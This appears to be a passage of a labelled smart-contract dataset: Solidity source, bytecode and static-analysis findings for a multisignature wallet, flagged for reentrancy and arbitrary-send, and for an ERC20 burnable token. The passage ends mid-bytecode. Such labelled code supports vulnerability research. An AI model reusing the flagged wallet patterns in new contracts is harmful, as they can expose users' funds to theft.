{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,281 |
0xf0d6012ac953aa81c84d4be54a12e35fa3852f1d
|
pragma solidity ^0.4.15;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
/*
* Constants
*/
uint constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this));
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner]);
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner]);
_;
}
modifier transactionExists(uint transactionId) {
require(transactions[transactionId].destination != 0);
_;
}
modifier confirmed(uint transactionId, address owner) {
require(confirmations[transactionId][owner]);
_;
}
modifier notConfirmed(uint transactionId, address owner) {
require(!confirmations[transactionId][owner]);
_;
}
modifier notExecuted(uint transactionId) {
require(!transactions[transactionId].executed);
_;
}
modifier notNull(address _address) {
require(_address != 0);
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
require(ownerCount <= MAX_OWNER_COUNT
&& _required <= ownerCount
&& _required != 0
&& ownerCount != 0);
_;
}
/// @dev Fallback function allows to deposit ether.
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != 0);
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner.
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner.
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
/// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet.
/// @param _required Number of required confirmations.
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
/// @dev Allows an owner to submit and confirm a transaction.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
/// @dev Allows an owner to confirm a transaction.
/// @param transactionId Transaction ID.
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
/// @dev Allows an owner to revoke a confirmation for a transaction.
/// @param transactionId Transaction ID.
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
/// @dev Allows anyone to execute a confirmed transaction.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction storage txn = transactions[transactionId];
txn.executed = true;
if (external_call(txn.destination, txn.value, txn.data.length, txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
}
}
}
// call has been separated into its own function in order to take advantage
// of the Solidity's code generator to produce a loop that copies tx.data into memory.
function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) {
bool result;
assembly {
let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention)
let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that
result := call(
sub(gas, 34710), // 34710 is the value that solidity is currently emitting
// It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) +
// callNewAccountGas (25000, in case the destination address does not exist and needs creating)
destination,
value,
d,
dataLength, // Size of the input (in bytes) - this is what fixes the padding problem
x,
0 // Output is ignored, therefore the output size is zero
)
}
return result;
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
/// @title Multisignature wallet with daily limit - Allows an owner to withdraw a daily limit without multisig.
/// @author Stefan George - <stefan.george@consensys.net>
contract MultiSigWalletWithDailyLimit is MultiSigWallet {
/*
* Events
*/
event DailyLimitChange(uint dailyLimit);
/*
* Storage
*/
uint public dailyLimit;
uint public lastDay;
uint public spentToday;
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners, required number of confirmations and daily withdraw limit.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
/// @param _dailyLimit Amount in wei, which can be withdrawn without confirmations on a daily basis.
function MultiSigWalletWithDailyLimit(address[] _owners, uint _required, uint _dailyLimit)
public
MultiSigWallet(_owners, _required)
{
dailyLimit = _dailyLimit;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit)
public
onlyWallet
{
dailyLimit = _dailyLimit;
DailyLimitChange(_dailyLimit);
}
/// @dev Allows anyone to execute a confirmed transaction or ether withdraws until daily limit is reached.
/// @param transactionId Transaction ID.
function executeTransaction(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
Transaction storage txn = transactions[transactionId];
bool _confirmed = isConfirmed(transactionId);
if (_confirmed || txn.data.length == 0 && isUnderLimit(txn.value)) {
txn.executed = true;
if (!_confirmed)
spentToday += txn.value;
if (txn.destination.call.value(txn.value)(txn.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
txn.executed = false;
if (!_confirmed)
spentToday -= txn.value;
}
}
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount)
internal
returns (bool)
{
if (now > lastDay + 24 hours) {
lastDay = now;
spentToday = 0;
}
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday)
return false;
return true;
}
/*
* Web3 call functions
*/
/// @dev Returns maximum withdraw amount.
/// @return Returns amount.
function calcMaxWithdraw()
public
constant
returns (uint)
{
if (now > lastDay + 24 hours)
return dailyLimit;
if (dailyLimit < spentToday)
return 0;
return dailyLimit - spentToday;
}
}
|
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a7230582095dbf084efbbd0c05f4d509ae4e214d6ecb08cf67b0fcac4ac6b1eed7cf5ced60029
|
{"success": true, "error": null, "results": {}}
| 8,282 |
0x01a9a2b8638451d447f0027179b19e8843963a88
|
pragma solidity 0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner{
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
}
}
/**
* @title URUN Token
* @dev Token representing URUN.
*/
contract URUNToken is BurnableToken {
string public name ;
string public symbol ;
uint8 public decimals = 18 ;
/**
*@dev users sending ether to this contract will be reverted. Any ether sent to the contract will be sent back to the caller
*/
function ()public payable {
revert();
}
/**
* @dev Constructor function to initialize the initial supply of token to the creator of the contract
* @param initialSupply The initial supply of tokens which will be fixed through out
* @param tokenName The name of the token
* @param tokenSymbol The symboll of the token
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
address wallet
) public {
owner = wallet;
totalSupply = initialSupply.mul( 10 ** uint256(decimals)); //Update total supply with the decimal amount
name = tokenName;
symbol = tokenSymbol;
balances[wallet] = totalSupply;
//Emitting transfer event since assigning all tokens to the creator also corresponds to the transfer of tokens to the creator
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
*@dev helper method to get token details, name, symbol and totalSupply in one go
*/
function getTokenDetail() public view returns (string, string, uint256) {
return (name, symbol, totalSupply);
}
}
|
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b2578063289de615146101dc578063313ce567146102d657806342966c681461030157806370a082311461031b5780638da5cb5b1461033c57806395d89b411461036d578063a9059cbb14610382578063dd62ed3e146103a6578063f2fde38b146103cd575b600080fd5b3480156100d557600080fd5b506100de6103ee565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a036004351660243561047c565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a06104e6565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a03600435811690602435166044356104ec565b3480156101e857600080fd5b506101f16106af565b604051808060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610238578181015183820152602001610220565b50505050905090810190601f1680156102655780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610298578181015183820152602001610280565b50505050905090810190601f1680156102c55780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156102e257600080fd5b506102eb6107f0565b6040805160ff9092168252519081900360200190f35b34801561030d57600080fd5b506103196004356107f9565b005b34801561032757600080fd5b506101a0600160a060020a03600435166108d4565b34801561034857600080fd5b506103516108ef565b60408051600160a060020a039092168252519081900360200190f35b34801561037957600080fd5b506100de6108fe565b34801561038e57600080fd5b50610177600160a060020a0360043516602435610959565b3480156103b257600080fd5b506101a0600160a060020a0360043581169060243516610a94565b3480156103d957600080fd5b50610319600160a060020a0360043516610abf565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104745780601f1061044957610100808354040283529160200191610474565b820191906000526020600020905b81548152906001019060200180831161045757829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60005481565b6000600160a060020a038316151561050357600080fd5b600160a060020a03841660009081526001602052604090205482111561052857600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561055b57600080fd5b6000821180156105915750600160a060020a03831660009081526001602052604090205461058f818463ffffffff610b5816565b115b151561059c57600080fd5b600160a060020a0384166000908152600160205260409020546105c5908363ffffffff610b7216565b600160a060020a0380861660009081526001602052604080822093909355908516815220546105fa908363ffffffff610b5816565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610642908363ffffffff610b7216565b600160a060020a038086166000818152600260209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b606080600060046005600054828054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107505780601f1061072557610100808354040283529160200191610750565b820191906000526020600020905b81548152906001019060200180831161073357829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152959850879450925084019050828280156107de5780601f106107b3576101008083540402835291602001916107de565b820191906000526020600020905b8154815290600101906020018083116107c157829003601f168201915b50505050509150925092509250909192565b60065460ff1681565b60035433600160a060020a0390811691161461081457600080fd5b600160a060020a03331660009081526001602052604090205481111561083957600080fd5b600160a060020a033316600090815260016020526040902054610862908263ffffffff610b7216565b600160a060020a0333166000908152600160205260408120919091555461088f908263ffffffff610b7216565b600055604080518281529051600160a060020a033316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a250565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104745780601f1061044957610100808354040283529160200191610474565b6000600160a060020a038316151561097057600080fd5b600160a060020a03331660009081526001602052604090205482118015906109985750600082115b80156109ca5750600160a060020a0383166000908152600160205260409020546109c8818463ffffffff610b5816565b115b15156109d557600080fd5b600160a060020a